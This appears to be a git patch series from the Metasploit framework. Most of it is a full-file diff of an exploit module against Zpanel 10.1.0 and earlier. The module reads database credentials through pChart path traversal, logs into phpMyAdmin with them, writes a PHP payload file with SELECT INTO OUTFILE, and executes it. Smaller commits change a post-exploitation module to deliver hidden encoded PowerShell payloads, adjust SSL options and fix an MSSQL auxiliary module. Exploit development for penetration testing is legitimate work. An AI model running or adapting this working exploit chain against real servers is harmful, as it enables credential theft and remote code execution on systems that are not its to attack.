- ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 30 2014')) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end - - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method' => 'get', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get' => { - 'Action' => 'View', - 'Script' => '../../../../cnf/db.php' - }, - 'version' => "1.1", - }) - - uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) - - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - - return uname, passwd, dbname - end - - def grab_sess_and_token(uri) - - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}"), - 'version' => '1.1' - }) - - sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" - sess_id = sess_id[2..-3] - - if sess_id.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sess_id}") - - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version' => '1.1', - 'Cookie' => "PHPSESSID=#{sess_id}" - }) - - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies - - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" - - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sess_id - else - print_error("CSRF token could not be identified...") - end - else - print_error("PHPSESSID could not be identified...") - end - end - - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie' => cookies, - 'ctype' => "application/x-www-form-urlencoded", - 'headers' => { - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post' => { - 'pma_username' => uname, - 'pma_password' => passwd, - 'server' => "1", - 'lang' => "en", - 'collation_connection' => "utf8_general_ci", - 'token' => token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "PHPSESSID=#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie' => new_cookies, - 'vars_get' => { - 'token' => token - } - }) - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ - print_good("PHPMyAdmin login successful!") - return new_cookies, token - end - end - - def do_sql(cookies, token, uri) - - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version' => '1.1', - 'cookie' => cookies, - 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', - 'headers' => { - 'X-Requested-With' => "XMLHttpRequest", - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post' => { - 'is_js_confirmed' => "0", - 'token' => token, - 'pos' => "0", - 'goto' => "server_sql.php", - 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query' => "", - 'sql_query' => sql_stmt, - 'sql_delimiter' => ";", - 'show_query' => "1", - 'ajax_request' => "true", - '_nocache' => rand.to_s[2..19].to_i - }, - }) - - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") - - print_status("Executing '#{fname}' on the remote host") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "#{fname}"), - 'version' => '1.1' - }) - - else - print_error("#{res.body.to_s}") - end - end - - def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - - # Checking pChart - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") - }) - - # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash(uri) - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] - - if uname.length > 0 and passwd.length > 0 - print_good("Directory traversal successful, Username/Password identified!") - print_good("Username: #{uname.to_s}") - print_good("Password: #{passwd.to_s}") - print_good("DB Name: #{db_name.to_s}") - - cookies, token, sess_id = grab_sess_and_token(uri) - - print_status("Logging into PHPMyAdmin now") - cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - - print_status("Uploading malicious payload now") - do_sql(cookies, token, uri) - - else - print_error("It appears that the directory traversal was unsuccessful...") - end - - else - print_error("It appears that the version of pChart is not vulnerable...") - end - end -end diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 0865c7d93b..cfdecfb7cf 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -1,265 +1,265 @@ -require 'msf/core' -require 'msf/core/exploit/php_exe' - -class Metasploit3 < Msf::Exploit::Remote - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - include Msf::Exploit::PhpEXE - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Zpanel Remote Unauthenticated RCE', - 'Description' => %q{ - This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a - vulnerable version of pChart allowing remote, unauthenticated, - users to read arbitrary files found on the filesystem. This - particular module utilizes this vulnerability to identify the - username/password combination of the MySQL instance. With the - credentials the attackers can login to PHPMyAdmin and execute - SQL commands to drop a malicious payload on the filesystem and - call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ], # pChart - [ 'OSVDB', '102595' ], # pChart - [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], - [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] - ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 30 2014')) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end - - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method' => 'get', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get' => { - 'Action' => 'View', - 'Script' => '../../../../cnf/db.php' - }, - 'version' => "1.1", - }) - - uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) - - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - - return uname, passwd, dbname - end - - def grab_sess_and_token(uri) - - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}"), - 'version' => '1.1' - }) - - sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" - sess_id = sess_id[2..-3] - - if sess_id.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sess_id}") - - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version' => '1.1', - 'Cookie' => "PHPSESSID=#{sess_id}" - }) - - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies - - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" - - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sess_id - else - print_error("CSRF token could not be identified...") - end - else - print_error("PHPSESSID could not be identified...") - end - end - - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie' => cookies, - 'ctype' => "application/x-www-form-urlencoded", - 'headers' => { - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post' => { - 'pma_username' => uname, - 'pma_password' => passwd, - 'server' => "1", - 'lang' => "en", - 'collation_connection' => "utf8_general_ci", - 'token' => token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "PHPSESSID=#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie' => new_cookies, - 'vars_get' => { - 'token' => token - } - }) - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ - print_good("PHPMyAdmin login successful!") - return new_cookies, token - end - end - - def do_sql(cookies, token, uri) - - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version' => '1.1', - 'cookie' => cookies, - 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', - 'headers' => { - 'X-Requested-With' => "XMLHttpRequest", - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post' => { - 'is_js_confirmed' => "0", - 'token' => token, - 'pos' => "0", - 'goto' => "server_sql.php", - 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query' => "", - 'sql_query' => sql_stmt, - 'sql_delimiter' => ";", - 'show_query' => "1", - 'ajax_request' => "true", - '_nocache' => rand.to_s[2..19].to_i - }, - }) - - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") - - print_status("Executing '#{fname}' on the remote host") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "#{fname}"), - 'version' => '1.1' - }) - - else - print_error("#{res.body.to_s}") - end - end - - def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - - # Checking pChart - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") - }) - - # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash(uri) - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] - - if uname.length > 0 and passwd.length > 0 - print_good("Directory traversal successful, Username/Password identified!") - print_good("Username: #{uname.to_s}") - print_good("Password: #{passwd.to_s}") - print_good("DB Name: #{db_name.to_s}") - - cookies, token, sess_id = grab_sess_and_token(uri) - - print_status("Logging into PHPMyAdmin now") - cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - - print_status("Uploading malicious payload now") - do_sql(cookies, token, uri) - - else - print_error("It appears that the directory traversal was unsuccessful...") - end - - else - print_error("It appears that the version of pChart is not vulnerable...") - end - end -end +require 'msf/core' +require 'msf/core/exploit/php_exe' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2097' ], + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart + [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], + [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 30 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) + ], self.class) + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' => 'get', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + }, + 'version' => "1.1", + }) + + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + + return uname, passwd, dbname + end + + def grab_sess_and_token(uri) + + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + 'version' => '1.1' + }) + + sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" + sess_id = sess_id[2..-3] + + if sess_id.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sess_id}") + + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version' => '1.1', + 'Cookie' => "PHPSESSID=#{sess_id}" + }) + + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sess_id + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie' => cookies, + 'ctype' => "application/x-www-form-urlencoded", + 'headers' => { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => "1", + 'lang' => "en", + 'collation_connection' => "utf8_general_ci", + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "PHPSESSID=#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good("PHPMyAdmin login successful!") + return new_cookies, token + end + end + + def do_sql(cookies, token, uri) + + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version' => '1.1', + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => "XMLHttpRequest", + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => "0", + 'token' => token, + 'pos' => "0", + 'goto' => "server_sql.php", + 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query' => "", + 'sql_query' => sql_stmt, + 'sql_delimiter' => ";", + 'show_query' => "1", + 'ajax_request' => "true", + '_nocache' => rand.to_s[2..19].to_i + }, + }) + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "#{fname}"), + 'version' => '1.1' + }) + + else + print_error("#{res.body.to_s}") + end + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + # Checking pChart + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") + }) + + # if pChart is vuln version + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash(uri) + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] + + if uname.length > 0 and passwd.length > 0 + print_good("Directory traversal successful, Username/Password identified!") + print_good("Username: #{uname.to_s}") + print_good("Password: #{passwd.to_s}") + print_good("DB Name: #{db_name.to_s}") + + cookies, token, sess_id = grab_sess_and_token(uri) + + print_status("Logging into PHPMyAdmin now") + cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + + print_status("Uploading malicious payload now") + do_sql(cookies, token, uri) + + else + print_error("It appears that the directory traversal was unsuccessful...") + end + + else + print_error("It appears that the version of pChart is not vulnerable...") + end + end +end From 6468eb51b2767fff398fc4bab8a1a3640f0b5b96 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 2 Oct 2015 15:26:42 -0500 Subject: [PATCH 0828/2172] Do changes to have into account powershell sesions are not cmd sessions --- lib/msf/base/sessions/powershell.rb | 3 +- lib/msf/core/exploit/powershell.rb | 2 +- lib/msf/core/post/common.rb | 7 ++++ .../post/multi/manage/shell_to_meterpreter.rb | 40 ++++++++++++++----- 4 files changed, 40 insertions(+), 12 deletions(-) diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index 3606745d7b..6e0f01d125 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -44,7 +44,7 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell # # Takes over the shell_command of the parent # - def shell_command(cmd) + def shell_command(cmd, timeout = 1800) # insert random marker strm = Rex::Text.rand_text_alpha(15) endm = Rex::Text.rand_text_alpha(15) @@ -52,7 +52,6 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell # Send the shell channel's stdin. shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") - timeout = 1800 # 30 minute timeout etime = ::Time.now.to_f + timeout buff = "" diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 89d99fb00e..281d960bd7 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -147,7 +147,7 @@ module Exploit::Powershell # @param ps_code [String] Powershell code # @param payload_arch [String] The payload architecture 'x86'/'x86_64' # @param encoded [Boolean] Indicates whether ps_code is encoded or not - # + #ex # @return [String] Wrapped powershell code def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 85e3af4d3a..00f2ddfa9e 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -198,6 +198,13 @@ module Msf::Post::Common end process.close + when /powershell/ + if args.nil? || args.empty? + o = session.shell_command("#{cmd}", time_out) + else + o = session.shell_command("#{cmd} #{args}", time_out) + end + o.chomp! if o when /shell/ if args.nil? || args.empty? o = session.shell_command_token("#{cmd}", time_out) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index d871740401..e115c35829 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -128,15 +128,37 @@ class Metasploit3 < Msf::Post case platform when 'win' - if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS') - vprint_status("Transfer method: Powershell") - psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } - cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) - else - print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' - vprint_status("Transfer method: VBS [fallback]") - exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) - aborted = transmit_payload(exe) + if session.type == 'powershell' + template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts') + psh_payload = case datastore['Powershell::method'] + when 'net' + Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data) + when 'reflection' + Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data) + when 'old' + Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data) + when 'msil' + fail RuntimeError, 'MSIL Powershell method no longer exists' + else + fail RuntimeError, 'No Powershell method specified' + end + + # prepend_sleep => 1 + psh_payload = 'Start-Sleep -s 1;' << psh_payload + + encoded_psh_payload = encode_script(psh_payload) + cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true)) + else # shell + if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS') + vprint_status("Transfer method: Powershell") + psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } + cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) + else + print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' + vprint_status("Transfer method: VBS [fallback]") + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) + aborted = transmit_payload(exe) + end end when 'python' vprint_status("Transfer method: Python") From 40cb13609a0060ecf33c8ab2aaa22b3d4edb079c Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 2 Oct 2015 15:26:49 -0500 Subject: [PATCH 0829/2172] update SSLVersion to support all options for rex TCP sockets, add 'TLS' alias --- lib/msf/core/exploit/tcp.rb | 2 +- lib/rex/socket/ssl_tcp.rb | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index e26e1cc5c5..13c0a7f6ac 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -64,7 +64,7 @@ module Exploit::Remote::Tcp register_advanced_options( [ OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL/TLS to be used (TLS and SSL23 are auto-negotiate)', 'TLS1', ['SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]), OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]), OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']), Opt::Proxies, diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index ca92f0852a..6539330307 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -64,7 +64,8 @@ begin case params.ssl_version when 'SSL2', :SSLv2 version = :SSLv2 - when 'SSL23', :SSLv23 + # 'TLS' will be the new name for autonegotation with newer versions of OpenSSL + when 'SSL23', :SSLv23, 'TLS' version = :SSLv23 when 'SSL3', :SSLv3 version = :SSLv3 From 953bfe1a818277c1478712de4efb0d661298198d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 2 Oct 2015 15:29:03 -0500 Subject: [PATCH 0830/2172] Delete typo --- lib/msf/core/exploit/powershell.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 281d960bd7..94189d5c6f 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -147,7 +147,6 @@ module Exploit::Powershell # @param ps_code [String] Powershell code # @param payload_arch [String] The payload architecture 'x86'/'x86_64' # @param encoded [Boolean] Indicates whether ps_code is encoded or not - #ex # @return [String] Wrapped powershell code def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { From 55895c6305a9039d4f6aa930bf17d8e5d3c0e724 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 2 Oct 2015 11:37:31 -0500 Subject: [PATCH 0831/2172] Fix nil bug in mssql_idf --- modules/auxiliary/admin/mssql/mssql_idf.rb | 85 +++------------------- 1 file changed, 12 insertions(+), 73 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index cd0e211136..b51ecf8fc6 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -14,7 +14,6 @@ require 'msf/core' - class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL @@ -95,11 +94,14 @@ class Metasploit3 < Msf::Auxiliary sql += "CLOSE table_cursor " sql += "DEALLOCATE table_cursor " + if mssql_login_datastore + result = mssql_query(sql, false) + else + print_error('Login failed') + return + end - # Add error handling here - result = mssql_query(sql, false) if mssql_login_datastore column_data = result[:rows] - widths = [0, 0, 0, 0, 0, 9] total_width = 0 @@ -113,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary total_width += a } - print_line("") + print_line buffer = "" headings.each { |row| @@ -121,17 +123,16 @@ class Metasploit3 < Msf::Auxiliary buffer += row[col].ljust(widths[col] + 1) } print_line(buffer) - print_line("") + print_line buffer = "" 0.upto(5) { |col| buffer += print "=" * widths[col] + " " } print_line(buffer) - print_line("") + print_line } - table_data_sql = {} column_data.each { |row| count_sql = "SELECT COUNT(*) AS count FROM " @@ -153,73 